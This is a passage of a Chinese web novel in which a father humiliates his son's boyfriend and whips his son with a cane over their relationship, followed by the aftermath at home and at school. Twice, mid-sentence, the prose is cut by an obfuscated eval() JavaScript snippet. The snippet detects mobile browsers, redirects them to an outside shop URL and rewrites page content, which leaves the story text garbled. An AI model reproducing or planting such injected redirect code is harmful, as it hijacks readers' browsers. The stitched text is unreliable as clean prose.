好不容易熬到吃完饭,沈泽许起身主动收拾碗筷,陈温还僵硬地坐在原地。 黏腻感依旧折磨着他,他感觉自己快坐不住了。他抬起头,问:“你们家厕所在哪里?我有点急。” “在走廊最里面那间。”沈泽许指了个方向,看了他一眼,“要我带你去吗?” “嗯,不用,我自己去!”陈温几乎是立刻拒绝。 说完,他强作镇定地起身,尽量不让动作显得怪异,然后几乎是逃也似的朝那个方向小跑过去。 他低着头,不敢看任何人的表情,生怕被人看出裤子上的水渍,或者自己脸上掩饰不住的窘迫。 “砰!” 一声不算太响的关门声传来,浴室门暂时隔绝了外面那个让他如坐针毡的世界。 陈温背靠着门板,长长地吐出一口气,一直强撑着的肩膀瞬间垮了下来。 他这才有勇气抬眼,看向洗手台那面宽大明亮的梳妆镜。 镜子里清晰地映出一张年轻却写满了委屈和困惑的脸,眉头紧锁,嘴角无力地下垂——活脱脱一张苦瓜脸。 男生艰难地起身。裤子经过一段时间的浸泡,紧贴在皮肤上,皱巴巴的,非常不舒服。 环顾四周,陈温想找找看有没有吹风机之类的工具,能把裤子稍微吹干一点,至少不那么难受。 目光扫过洗手台下方的储物柜,又看了看墙上的置物架。 忽然,他的视线被洗漱台上的一样东西牢牢吸引了——那里整整齐齐摆放着一沓照片,正面朝上,摆放得十分显眼又刻意,就像是……专门放在那里,等着他发现的。 陈温确实拿起来看了。 看清照片画面的瞬间,他整个人都在发抖。 一张又一张,看完后背后渗出冷汗,抑制不住地颤栗——是一沓他和沈泽许的照片。 但准确来说是他的照片,因为照片里沈泽许始终是一个背影,或者面部被遮挡的状态。 照片的拍摄角度有的清晰,有的模糊,像是偷拍,又像是经过某种筛选。但无一例外,都是两人亲密、暧昧的照片。 拥抱,接吻,牵手……什么都有。 再抬头时,只见镜子内的小人,整张脸失去血色,眼睛里布满血丝。 他现在 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陈温心头猛地一缩。果然。不是白阿姨想他,是这位父亲精心策划的“鸿门宴”。 他没有回应这个“必须断开”的命令,反而抬起眼,说:“您这样……白阿姨会生气的。” “生不生气跟你有什么关系。”沈明远用的是陈述句,语气平淡——这是在明确地划清界限:这是沈家的家事,轮不到你一个外人、一个“带坏”他儿子的人来置喙,更与你无关。 “不分。”陈温斩钉截铁道,“我们暂时没有分手的打算,以后也不会。” “哦,是吗?”沈明远嗤笑一声,手指一弹,烟灰簌簌落下,“真是够顽强的,不见棺材不落泪。自己看。” 一沓文件被男人随手甩了过来,纸张发出“哗啦”的轻响。 陈温的手抖得厉害,几乎要握不住那文件。他深吸一口气,强迫自己翻开。 第一页,是他的家庭信息。有陈林峰的、慕雪的,甚至还有……廖淑琴的。 资料详细得可怕,包括职业、大致收入、甚至一些模糊的过往记录。 陈温只觉得一股寒意从脚底直冲头顶。直到最后一页—— 那是一张打印出来的手机截图,来源似乎是他们学校的校园墙。 一条匿名的发言,标题触目惊心:「惊!年级第一竟与转学生关系不一般,男男激情在厕所搞基……」 配图光线昏暗,背景是学校的男厕。 画面里,两个身影紧密相贴——是元旦晚会那晚,他环住沈泽许腰的那一刻,两人的轮廓和拥抱的姿势清晰可辨…… 原来不是幻觉。 当时那一声,确确实实是快门声!像毒蛇潜行于暗处,吐出了信子。 是谁?是谁拍的?又是谁发的?他怎么从来没有在校园里看到或听说过这条帖子?这是什么时候的事? 沈明远似乎很欣赏他脸上血色褪尽、瞳孔骤缩的模样,不急不缓地解答了他的疑惑: “这条发文是前几个月的,我这边的人发现后,不到一分钟内就举报处理掉了,没让这事扩散开。” 他弹了弹烟灰,继续道:“不过,发文那人挺执着。举报一个,他又发一个,换了十几个小号,发了十几遍。发现确实没用后,才消停了。” 陈温抿起唇,下意识地想辩解:“我们……没有干那种事。何必心虚……” “你们之间有没有干过,”沈明远打断他,目光如冰冷,“我不清楚。但人们只会听自己想听的,看自己想看的。黑白对错,他们在意吗?” 男人向前微微倾身,吐出的字句带着一种看透世情的冷酷,“他们只会觉得‘有趣’,像闻到腥味的苍蝇,从四面八方围拢过来,把这块‘肉’啃食殆尽,嚼烂了,吐出来,还要踩上几脚。” 他盯着陈温越来越苍白的脸,抛出了最关键、也是最残忍的问题: “如果不是我及时拦下,”他刻意停顿,“你能保证沈泽许不会受到那些误解、谣言、恶意的伤害吗?你能保护得了他吗?” 陈温张了张嘴,喉咙却像被什么堵住了,发不出任何声音。 保护沈泽许?他拿什么保护?面对这种恶意的帖子、汹涌的舆论……他一个普通学生,除了愤怒和无力,还能做什么?他暂时没有想出来。 沈明远瞧他无言以对的样子,重新靠回门板,下了最终判决: “你什么都做不到。” “你和他,本来就是两个世界的人。俗话说,就是——” 男人放缓了语速,每个字都像淬了毒的针,狠狠扎进陈温的心脏。 “——癞蛤蟆想吃天鹅肉。” 72. 不分 沈明远每说一句,便朝陈温逼近一步,压迫感如同实质般笼罩下来。 “虽然我不怎么关心我家那位,”他语气平淡,却字字诛心,“但不代表我不在乎。他遗传了我,一直都很优秀。别把他从神坛上拉下来了。” 他停在陈温面前一步之遥,居高临下地看着这个少年,像是在审视一件不合格的瑕疵品。 “早分手,早轻松。你也不是个不懂事的孩子吧?” 接连的诘问、冷酷的现实、毫不留情的贬低,像狂风骤雨砸在陈温头上。 他感觉大脑一片空白,嗡嗡作响,所有的思维和语言能力瞬间被抽空,一时之间,竟找不到任何有力的句子来反驳。 不是因为词穷,而是因为……对方说的,某种程度上,是事实。 陈温给不了沈泽许现在拥有的优渥生活、广阔平台和看似光明的坦途。 他和沈泽许在一起,似乎一直是沈泽许在主导,在付出,在包容。他偷恋着沈泽许给予的温和,很少去想自己回报什么给对方。 沈泽许在他心中,一直是强大到近乎“无所不能”的存在,是那颗让他仰望又渴望靠近的星星。 可现在,沈明远的话如一把解剖刀,精准地剖开了陈温的内心——他不是被救上泥潭,而是把人跟他一样拉进泥潭,成为了跟他一样的人,所以他们齐平了。 “怎么样?想好了没有?”沈明远弹掉一截烟灰,那带着火星的灰烬轻飘飘地落下,不偏不倚,正好落在陈温颤抖的手背上。 滚烫的触感,似乎要把他烧穿。 “要不这样,给你两百万,离开我儿子……” “叔叔。”陈温猛地抬起头,打断了沈明远的话,“我叫您一声叔,是因为我从小被教育要有礼貌。” 他顿了顿,目光扫过自己狼狈的模样,再迎上沈明远冰冷的视线:“但您从我一进门就开始刁难我,还在客人面前抽烟……您不尊重我。我觉得,我没有必要再听您的。” 空气骤然凝固了几秒。沈明远似乎没料到这个看起来脆弱的少年,会突然用这种方式“反击”,眼里的讶异,随即被更深的寒意覆盖。 陈温不再看他,转身,用力拧开了浴室的门把手,准备离开这个令人窒息的地方。 就在他的脚踏出门口的那一刻,身后传来恶魔般的低语: “你们见一次面,我就打他一次。” 陈温的脚步猛地顿住。他没有完全听懂这句话背后具体的含义,不想去理解了,也不想再待下去了。 男生头也不回地走了出去。 没想到,一出门,就看到沈泽许正靠在走廊的墙壁上,显然一直等在外面。 看到陈温出来,沈泽许立刻直起身,脸上是毫不掩饰的紧张,他几步上前,一把抓住了陈温的手腕。 沈泽许的手很用力,骨节分明,手心微微出汗。他没有说“去哪里”,也没有问“怎么了”,只是紧紧地抓住他,仿佛一松手,陈温就会消失。 看着沈泽许近在咫尺的脸,脑海中不受控制地再次回响起沈父的那句话: “别把他拉下神坛了。” 不应该听那个人的话。可是,这句话已经在陈温心里自动播放了几百遍,如同无法清除的病毒。 最后得出的结论是:他做不到不放在心上。 “陈温?”沈泽许不确定地低声唤他名字。 陈温猛地回过神,像是被那声呼唤烫到一般,奋力甩开了沈泽许的手。 力度之大,让沈泽许都往后踉跄了半步,脸上闪过一丝错愕与受伤。 陈温没有看他,颓然地向前走了几步,耗尽所有力气般。 然后,他忽然加速,几乎是踉跄着冲到了玄关的鞋柜旁,一把抓起自己的书包,看也没看身后,拧开大门,冲进了沉沉的夜色里。 跑过前院,跑过两人曾一起散步的小路。 雨越下越大,劈头盖脸地浇下来。那团乌云到底还是变成了大雨。雨点砸在身上有点疼。 陈温跑了许久,终于跑不动了,弯下腰喘气。雨水把他全身浇透了,头发贴在脸上,衣服紧裹着身体。 他吸了吸鼻子,雨水的土腥味里,好像还混着自己身上那股洗不掉的穷酸气。 这下好了,不用在意裤子那水渍了,他整个人都湿透了,从里到外。 他大口呼吸,胸口似压着个巨石,闷得难受。 眼眶发热,有东西涌上来。很快,就被更急的雨水冲走了。也好,分不清是雨还是泪,没人看得见。 他站在雨里,浑身湿透,像个被扔在路边的破口袋。 沈泽许想追出去,刚迈开步子,就被沈明远横身挡住。 “你还嫌不够丢人?”沈明远压低嗓音道,“要是你心里还有这个家,就不许追出去。” 沈泽许的脚步顿住了,但没有退让。他抬起头,看了父亲一眼。那眼神不再是平时的平静或冷淡,而是阴沉的、几乎要噬人的寒意。 沈明远被这眼神刺了一下,随即怒火更盛。 “你在外面怎么乱搞,我睁一只眼闭一只眼。你把他带回来,是什么意思?!” 他厉声质问,仿佛刚才承认用白千月手机发消息、设计刁难陈温的人不是他自己。 沈泽许抿紧了唇,没有说话。 “你有没有想过,你爷爷奶奶知道了会怎么想?好好的孙子,变成了同性恋?!”沈明远陡然拔高声音。 就在这时,听到动静的白千月从厨房擦着手走了出来,看到客厅里剑拔弩张的气氛和陈温不见踪影,愣住了。 “怎么了?这是……小温呢?”她问沈泽许。 “你来得正好。”沈明远深吸一口气,指着沈泽许,对白千月说,“让你儿子亲口告诉你,他是同性恋。” 白千月整个人僵住,手里的抹布掉在地上。 “你说啊!敢做不敢当吗?!”沈明远逼问沈泽许。 沈泽许的目光从父亲脸上,移到母亲茫然的脸。他喉结滚动了一下:“妈……我跟陈温在一起了。” “你看看!你看看你!”沈明远像是终于抓到了确凿的证据,“你让我们的脸往哪儿搁?!分了!必须分!” “不分。”沈泽许抬起头,看着母亲,又转向父亲,目光没有丝毫动摇。 “不分?”沈明远气得脸色发青,他指着沈泽许,手指都在抖,“不分好啊!上家法!” “明远!”白千月终于找回了自己的声音,带着哭腔喊道,“你胡说什么!什么家法!孩子还小,有话好好说……” 但沈明远已经什么都听不进去了,大步朝书房的方向走去。 沈泽许没再多说一个字,沉默地脱掉了上半身的T恤,露出年轻而结实的脊背。他走到客厅空旷处,笔直地跪了下去。 沈明远不知从何处拿出一根细长的竹鞭,深褐色,油光发亮,看起来有些年头了。 竹鞭的底部,依稀刻着一个笔锋凌厉的“孝”字。他走到洗手池边,将竹鞭的尖端浸入水中,湿润了鞭身。 随后,男人走回沈泽许身后,扬起了手臂。 “啪!” 第一鞭落下,破空的风声和皮肉被抽打的闷响传来,沈泽许的身体猛地一颤,咬紧了牙关,背脊上迅速浮现出一道鲜红的棱子。 从小到大,沈明远都没动手打过沈泽许。但他自己,却是从小吃着这样的“家法”长大的。 那些刻在骨子里的规矩,以及某种扭曲、必须维持表面完美的执念,早已将他塑造成了一个外表光鲜、内里却偏执复杂、心思深沉、让人看不透的……“疯子”。 没有人知道他此刻动用家法的真实意图。 也许是因为沈泽许的“忤逆”和“丢人现眼”触碰了他最敏感的神经;也许是因为他内心深处,那套“娶妻生子、光耀门楣、孝顺父母”的家族规训早已成了铁律,任何偏离,尤其是这种在他看来“大逆不道”的偏离,都必须用最严厉的方式“矫正”。 “啪!” “啪!” 一鞭接着一鞭,毫不留情地落在沈泽许的背上。 很快,白皙的皮肤上就布满了纵横交错的红痕,有些地方甚至渗出了血珠。 沈泽许的额头上渗出大颗的冷汗,身体因为疼痛而微微颤抖,但他始终挺直着背脊,紧咬着牙关,没有发出一声痛呼,更没有任何求饶的意思。 与此同时,每一鞭落下,都像是抽打在白千月的心上。 她起初只是愣愣地看着,像是被这突如其来的暴力场面吓住了。 但随着沈泽许背上伤痕越来越多,鲜红刺目,她终于反应过来,尖叫一声,扑了上去,死死拉住沈明远再次扬起的手臂。 “别打了!明远!求求你别打了!” 没有一个母亲能眼睁睁看着自己的孩子承受这样的痛苦,恨不得那鞭子都抽在自己身上。 “你分不分?!”沈明远被她拉扯着,却依旧死死盯着跪在地上的沈泽许,不管不顾地厉声喝问。 “不分!”沈泽许的声音从牙缝里挤出来,由于疼痛而嘶哑,但依然斩钉截铁。 “啪!啪!啪!” 又是几鞭狠狠抽下,力道丝毫没有因白千月的阻拦而减轻。 沈泽许的背上已是血肉模糊,鲜红的伤口和青紫的淤痕交织在一起,惨不忍睹。 冷汗浸湿了他的头发和鬓角,身体无法抑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172005|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制地颤抖,脸色苍白如纸,嘴唇被咬出了血印。 但他依旧一声不吭,死死扛着,倔强得像一块顽石,怎么也不肯松口,不肯屈服。 白千月真的怕了。她怕再打下去,孩子会出事。她哭了,哭得几乎喘不上气:“别打了……我求你……别打了……是我的错,都是我的错……” 女人像是终于找到了宣泄口,崩溃地喊道:“我知道……我早就知道他们在一起了!是我没管好,是我惯的!你要打就打我!打我啊!” 喊完,她用尽了所有力气,扑到了沈泽许血肉模糊的背上,用自己单薄的身体紧紧护住了儿子。 沈明远挥下的下一鞭,硬生生停在了半空,鞭梢险险擦过白千月的肩头。 他举着鞭子,看着眼前这一幕——妻子趴在儿子伤痕累累的背上,哭得撕心裂肺;儿子即便痛到极致,依旧挺着脊梁,不肯低头。 一种难以言喻的挫败、或许还有一丝连他自己都不愿承认的狼狈,涌上心头。 沈明远胸口剧烈起伏,半晌,他猛地将手中的竹鞭狠狠摔在地上,看也没再看他们一眼,摔门而去。 - 陈温淋了大雨,当晚就发起了高烧,浑浑噩噩地在家躺了两天。 这两天,他像棵被雷劈过的小树苗,蔫蔫地趴在床上,脑子里时而空白,时而闪过浴室里那些照片、沈明远冰冷的脸、还有自己狼狈冲进雨里的画面。 腰杆子仿佛真的断了,怎么也挺不起来。 明明之前还跟人嘚瑟,说自己体质好得很,三年连次小感冒都没沾过边。 结果呢?现实报来得快,这会儿脑袋就跟烧开的壶一样晕晕沉沉——荒诞得让他自己都想苦笑一下。 又躺了一会儿,他望着天花板发呆,最后还是挣扎着爬起来,走进浴室。 镜子里的人眼窝深陷,脸色憔悴。他拧开水龙头,用冷水洗了几把脸。 镜子里的人虽然依旧没什么精神,但总算不那么像个游魂了。 刚把毛巾挂好,随手扔在洗手台边的手机屏幕忽然亮了一下。 陈温心口莫名一跳,迟疑地拿起来看。 是沈泽许发来的微信。 他们已经整整两天没有任何联系了。电话和消息都没有,像是心照不宣的僵持,又像是暴风雨后各自舔舐伤口的沉默。 消息很简单,只有一行字: 「大好人:能过来找你吗?」 陈温盯着那行字,迟迟没有动作。心里翻涌着一股难言的情绪,有逃避,有委屈,有害怕…… 他闭了闭眼,想直接关掉屏幕,当作没看见。 就在这时,手机又亮了一下,新消息跳了出来: 「大好人:我在你家门口。」 陈温的心脏猛然一缩,仿佛要跳出胸腔。他下意识地看向浴室紧闭的门,仿佛能透过门板看到屋外楼道里的情景。 内心瞬间分裂成两个激烈交战的小人。 一个声音警告他:别去!别开门!想想他爸说的话!你还没受够吗?保持距离,对谁都好! 另一个声音则劝他:开吧……总归要面对的。逃避解决不了任何问题。他来找你了,至少……听听他想说什么。你们之间,难道就这样不明不白地结束吗? “咔嚓”一声,陈温最终还是拧开了门把手。 门外站着的果然是沈泽许。他没穿校服,一身简单的常服,宽松的浅灰色上衣,搭配一条纯黑的裤子,衬得他身形越发挺拔。 只是脸色看起来有些差,眼下也有淡淡的阴影。 陈温在看到他的瞬间,心里“咯噔”一下,几乎是条件反射般地后悔了。他下意识地就想把门重新关上,假装什么都没发生。 但为时已晚。 门刚开了一条缝,沈泽许的目光就牢牢锁住了他。下一秒,在陈温还没来得及做出任何反应之前,沈泽许已经一步跨了进来,伸出手臂,不由分说地将他紧紧抱进了怀里。 动作快得近乎急切,让陈温踉跄着后退了两三步。 门被关上。 沈泽许将脸深深埋在他的颈侧,温热的呼吸喷洒在敏感的皮肤上,引起一阵战栗。 像走失的狼犬,终于寻回主人,嗅着他身上的味道。 陈温僵着身子,双手无措地垂在身侧,他能清晰地感受到对方坚硬的胸膛传来的、有些快的心跳。 这个拥抱太用力,也太突然……像是要把他揉碎在骨骼里。 沈泽许的脸埋在他颈窝里,陈温完全看不清他此刻是什么表情。 是疲惫?难过?愧疚?还是别的什么? 他无从得知,只能被动地承受着这个紧密到窒息的拥抱。 73. 他好像搬家了 由于烧还没完全退,陈温身上依旧滚烫。沈泽许把他圈在怀里,像揣着一颗不安分的太阳,热意透过衣料源源不断地渡过来,暖得人心头发慌。 两人一时都没说话,只剩下交错起伏的呼吸声。陈温被他搂得有些透不过气,正想抬手推他,沈泽许却在这时开了口,声音低低地擦过他耳畔: “发烧了?” 陈温喉结动了动,半晌,才不尴不尬地“嗯”了一声。 “对不起。”沈泽许几乎是用气音说的,很轻,但陈温听得一清二楚。 男生又收紧了手臂。 陈温感觉自己快要窒息了——不只是因为拥抱太紧。 而且理智在耳边尖声提醒他:不该这样,至少现在不该。他应该推开他,应该保持距离,应该让一切都回到冷静而安全的位置。 手却不听使唤。 指尖在空气中蜷缩又伸展,最终轻轻落了下去,迟疑地抚上了男生的脊背。 天气燥热,客厅里既没空调也没风扇,窗户紧闭,闷得像一口蒸笼。 又因为发烧,此刻被沈泽许紧紧抱着,两个人贴在一起的皮肤汗涔涔地黏着,热度互相渗透,快要喘不过气。 陈温想拉开一点距离,手不经意顺着沈泽许的后背往上挪了挪。 手心忽然触到一片异样的粗糙。 那感觉……不像皮肤。像老树的皮,凹凸不平,质地坚硬,蛰伏在有温度的躯体上。 心像是被什么东西猛地揉了一把,又骤然悬空。 陈温不敢相信,指腹又试探着,极轻地向上抚去。 沈泽许几不可察地颤了一下,肌肉绷紧,像是要躲,却又硬生生停住。 可陈温已经摸清楚了。 那不是错觉。是伤。是结痂,一片连着一片,匍匐在他的背上。 沈父冰冷的声音,猝不及防地撞进陈温的脑海: “你们见一次面,我就打他一次。” 原来那不是威胁。 是预告。是已经兑现过的惩罚。 陈温明知故问道:“你背上……怎么回事?” 沈泽许的呼吸骤然重了几分,喉结滚动,依旧保持沉默。 “让我看看。”陈温说着就想推开他,手上用了力,对方却纹丝不动,肌肉绷得像块石头。 “沈泽许,”陈温的语气故意冷下来:“你再这样,我真生气了。” 这句话像按下了某个开关。沈泽许手臂一松,放开了他,垂下眼避开了对视。 陈温也故意不看他,转身径自走向柜子,动作有些发僵地翻找着什么。房间里只剩窸窣的声响和他略显生硬的命令: “去床上呆着。” 等他找到东西回到房间,目光自然而然落到了沈泽许身上。 那人坐在床沿,背对着门口,手里捏着那只他送给自己的仓鼠娃娃。 他侧脸的线条在明亮光线下显得格外安静,甚至……带点罕见的柔和。 只是那点笑意极淡,浮在表面,见陈温进来,便像被惊扰的水纹,瞬间散去了。 仓鼠被放回枕边,仿佛什么也没发生。 “衣服撩起来。”陈温走进去,声音努力维持着平静。他用棉签蘸了碘伏,棉絮吸饱了棕褐色的液体。 动作顿了一下,像是才想起什么,又问:“今天……上过药了吗?” 沈泽许沉默了许久,久到陈温几乎以为他不会回答了,才低低地吐出一个:“没。” 可他还是没动,背脊挺直,像一尊沉默的雕塑。 陈温看着他这样子,心里那点强撑的镇定终于裂开一道缝。 沈泽许不反抗,不争辩,用最顺从的姿态,筑起最坚硬的壁垒。 明明已经被发现了,明明已经没什么可瞒的了,可还是固执地、用一种近乎自弃的方式,把伤痕连同自己一起封闭起来。 这种复杂的心态,让陈温胸口发闷。 他深吸一口气,不再多问,走到窗边,将窗帘彻底拉拢,只留下一道细细的光缝斜斜切进室内。 然后回到床边,盘腿坐下,语气尽量放得平稳,像在安抚一只警惕的动物: “我要上药了。” 他捏住沈泽许的衣摆边缘,缓缓向上提起。 眼前的身体瞬间绷紧,衣料一寸寸揭开,露出下面斑驳的皮肤。 陈温的呼吸在那一刻几乎停滞。 比他想象中还要糟。整个背脊几乎没有一寸完好的地方,深深浅浅的痕迹新旧交叠,纵横错乱,像一片被狂风骤雨反复鞭挞过的荒原,又像荆棘在那里野蛮生长。 在昏昧的光线下,这些痕迹呈现出一种残酷的质感——那不是天使被折断翅膀的凄美,而是翅膀被生生撕扯、碾碎后赤裸裸的残骸。 沈泽许配合地弓起背,将衣服从头顶褪下,没有完全脱下,松松垮垮地挂在臂弯处,半遮半掩地搭在身前。 这个姿势既方便上药,又仿佛为他保留了最后一点摇摇欲坠的体面。 陈温胸口堵得发慌,他咬着下唇,拿起棉签,屏住呼吸,将药水一点一点,涂抹上那片狰狞的伤痕。 他不知道都这样了,沈泽许为什么还要来找他。 背上的痕迹是沉默的证词,诉说着沈泽许独自承受的代价,那么沉重,那么具体。 按理说,他该躲得远远的,该恨,该怨,至少……不该再靠近这个“祸源”才对。 可他还是来了。 带着一身伤,沉默地,走进了这间闷热的屋子。 陈温忽然觉得,自己那颗悬了许久、不上不下的心,被一种酸楚而滚烫的东西填满。 他被需要着。不是言语,也不是承诺,而是以伤痕,以奔赴,确凿地、沉重地需要着。 往日的那些事,在这一刻忽然变得模糊而遥远,视线里只剩下眼前这片伤痕累累的背脊,和他控制不住发抖的手。 脑子里只剩下一件事——把药涂好。 嘴唇张了张,又徒劳地合上,喉咙里堵着千言万语,可一个字也挤不出来。 安慰太轻,询问太重,道歉……又不知该从何说起。 窗帘缝透进来光,将这一切困在一幅被精心裁切、定格了所有痛苦的艺术品里。 无处可逃,也无须言语。 屋内的旧风扇立在墙角,正不紧不慢地“咯吱、咯吱”摇着头,扇叶搅动着闷热的空气,将一阵阵算不上凉爽的风送到屋子中央。 “你为什么不躲。”陈温听见自己说。 片刻,沈泽许才回复:“躲了没用。” 他顿了一下,像在陈述一个与己无关的事实。 “只会打得更狠。” 棉签在陈温手里顿住。他几乎能想象出东西抽下来时,皮肉是如何绽开的。 光是想象,就让他的胃部一阵抽搐。 “那要是……”陈温喉咙发紧,“留疤了怎么办?” 他不知道自己是在问沈泽许,还是在问自己。 是啊。如果真的留下了疤,他该怎么办? 该怎么去“补偿”沈泽许?这个词跳出来,连他自己都觉得荒谬又无力。补偿什么?沈泽许从没向他索要过任何东西,甚至连一句抱怨都没有。 可有个念头固执地盘踞在男生脑海里,尖锐又清晰:这一切都是因他而起。 他不需要别人审判,愧疚已经先一步将他牢牢捆住。 “没关系的,”沈泽许语气平平,“别人又看不见。” “哪里没关系了?!” 陈温猛地直起身,刚好涂完最后一点药。他有些恼怒地把碘伏瓶子拧紧,转身想走,动作里带着一股无处发泄的力气。 就在这时—— 后背忽地贴上宽厚的胸膛。 沈泽许从后面环住了他,手臂松松地圈着他的腰,下巴搁在他肩窝。 那感觉不像拥抱,更像……一只需要确认主人还在的玩具熊,带着一身未愈的伤,笨拙地靠过来。 陈温整个人僵住了。手里的碘伏瓶攥得紧紧的,不知所措的样子,不知道该推开,还是该转身。 然后,他听见沈泽许贴着他耳后,很低,很轻地说:“不要离开我……好不好?” 喉咙好像被什么哽住了,陈温发不出声音。 沈泽许似乎察觉到了他的僵硬,手臂稍稍用力,将他转了过来。 四目相对。 沈泽许怔住了。 陈温的眼泪无声地往下淌,视线模糊成一片,但他能感觉到泪水滚过脸颊,滴落——先是打在他还扶在陈温脸侧的手指上,接着,又一颗,准确无误地落在他腕骨凸起处,那颗小小的痣上。 沈泽许的吻落了下来,先是重重地咬住了陈温的下唇。 痛感尖锐,却像一把钥匙,猝不及防地撬开了陈温紧闭的齿关。他闷哼一声,松懈的瞬间,沈泽许便乘虚而入。 舌头被轻轻的咬住嘬弄,湿漉漉的,带着咸涩的泪水,混乱地纠缠在一起。 像是用嘴唇和舌尖笨拙地撕扯、吞咽着那些无法说出口的话。 所有的心事,都在这一片潮湿里激情翻滚。 不知过了多久,沈泽许微微退开,额头相抵,灼热的气息铺撒在陈温脸上。 “对不起……”男生的声音沙哑得厉害,轻地抓不住,却重重地砸在两人之间。 陈温还没从那阵眩晕般的缺氧和情绪浪潮里回过神来,身体便是一轻——他被沈泽许打横抱了起来,动作小心翼翼的,然后被轻柔地放在了那张还残留着彼此体温的床上。 疲惫像潮水般涌上,陈温确实有些困了,眼皮发沉。 沈泽许拉过被子,将陈温盖好。 随后,一个轻柔如毛发的吻,落在了他的眉心——带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172006|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无尽的怜惜,和一种诀别般的温柔。 微凉的手指顺着他的鬓角,缓缓抚过脸颊,最后轻轻托住他的下巴,拇指在那柔软的皮肤上停留了片刻。 陈温闭着眼,能感觉到那道目光久久地落在自己脸上,沉重而滚烫。 而后响起衣物的摩擦声,脚步声,门被打开的吱呀响,再轻飘飘地合上。 房间里安静的只剩下风扇单调的嗡鸣。 陈温没有睁开眼,也没有追出去。他将自己更深地蜷进被子里,闭紧了眼睛,仿佛这样就可以把刚才发生的一切——那个粗暴又温柔的吻,那句道歉,那最后珍重如烙印的触碰——都锁进一个临时的梦境里。 他宁愿那是一场梦。 因为在梦里,再大的痛苦,醒来后都能消散。一切都可以假装没有发生,或者……还能奢望有重来一次的机会。 而现实是,碘伏瓶子被拿走了,门关上了,他独自躺在逐渐冷却下来的床上,连自欺欺人的余地,都在随着那人离去的脚步声,一点点消失。 - 明明没有争吵,可那天之后,两人又没再联系过了。 陈温的感冒在第四天痊愈。他比平时更早到了学校,教室里空空荡荡,他习惯性地看向中间那个座位——空的。 早读铃打响时,林宇舟踩着点冲进后门,气喘吁吁地拉开椅子。全班站起来开始齐声诵读《赤壁赋》,书声嗡然。 林宇舟用书挡着嘴,肩膀不动,微微侧过头:“哎,你来了?”他有点惊讶,随即压低声音,“你知道沈泽许这几天去哪了吗?他也一直没来。” 陈温捏着书页的手指顿住,垂着眸子,说:“不知道。” “听我妈说,”林宇舟干脆半转过身,声音压得更低,“他好像是……搬家了。” “嗡——” 陈温的脑子里有什么东西响了一下,像正常运行的电视机突然黑屏,那声音极快盖过了周遭的读书声。 “对了,”林宇舟又凑近些,眼神里带着好奇,“你这几天怎么也没来?你们去干嘛了?” 陈温盯着文言文注释里密密麻麻的小字:“发烧了。”他答得很快,避开了问题的后半句。 “林宇舟!”讲台上传来语文老师不悦的声音,“早读课呢,别交头接耳的!” 林宇舟肩膀一缩,悻悻转回去,拖长了调子念起“壬戌之秋,七月既望——” 书声依旧琅琅。 只有陈温旁边那个位置,静默地空着。 阳光一点点爬过桌沿,照亮了木质纹理上某道淡淡的刻痕——不知道是谁在什么时候留下的。 他盯着那片空白,一言不发。 所以,那天晚上沈泽许来找他……其实是来告别的吗? 带着一身伤,让他上药,然后用那种近乎哀求的声音抱住他说“不要离开我”。 这一切,难道不是为了离开,而是为了……在离开前,最后抓住一次吗? 可这说不通。 如果真的要走,为什么又要说“不要离开我”?为什么还要在他面前露出那样脆弱的样子,留下一个拥抱和一句让他整夜无法安睡的话? 陈温觉得太阳穴微微发胀,他试图沿着这个思路想下去,试图在那些说不出口的细节里拼凑出一个合理的解释。 或许是沈泽许自己也没想清楚?或许那只是一时冲动?又或许是…… 又过了十几天,早读铃声刚响,教室前门被推开。 沈泽许走了进来。 几乎是立刻,几道或好奇或探究的目光就粘了上去。 在这个连请假一天都显得奢侈的节骨眼上,沈泽许足足消失了两个多星期。 对于高三生而言,这种长时间的缺席本身就意味着异样——要么是家里有矿,在外面请了更厉害的名师一对一;要么,就是已经自暴自弃,提前放弃了这场战役。 而沈泽许,他看起来哪一种都不完全是。 他穿着干净的校服,脸色有些差,但背脊挺得很直,步伐平稳地走向那个空了许久的位置。 陈温在他推门的一瞬间就感觉到了。 心脏像是被一只无形的手猛地攥紧,又骤然松开,带来一阵失重般的悸动,他几乎能听到自己血液冲刷耳膜的声音。 陈温强迫自己盯着眼前的单词本,字母却像一群躁动的黑点,在眼前乱跳。 他能感觉到那道身影在走近,能感觉到对方的目光似乎在自己身上停留了一瞬。 男生立刻把头埋得更低,几乎要抵到桌面上。他不敢看,甚至连余光都不敢扫过去。 他怕看到沈泽许关心的目光,更怕看到对方眼里有任何类似那天的、让他无法承受的脆弱。 可身体远比语言诚实——他浑身抖得厉害,明明置身盛夏黏腻的热浪里,整个人却像被浸入了冰河底层,控制不住地打着寒颤。 74. 我也在发呆 沈泽许落了座,陈温猛地站起身,混入早读渐起的声浪里,捧起书的手不自在地收紧。 他需要这片朗朗的读书声作为屏障,暂时隔开那个让他心跳失序的存在。 沈泽许也没有任何表示,随手翻开课本。这份刻意的忽视,反而让陈温紧绷的神经松了一丝。 至少,不用立刻面对。 早读结束的铃声像救赎。 陈温几乎是立刻趴倒在桌上,将脸深深埋进臂弯,摆出一个标准的“补眠”姿势。 可那僵直的肩线和不自然的静止,分明是在向全世界宣告:他在躲避。躲避旁边那道或许存在、或许不存在的目光。 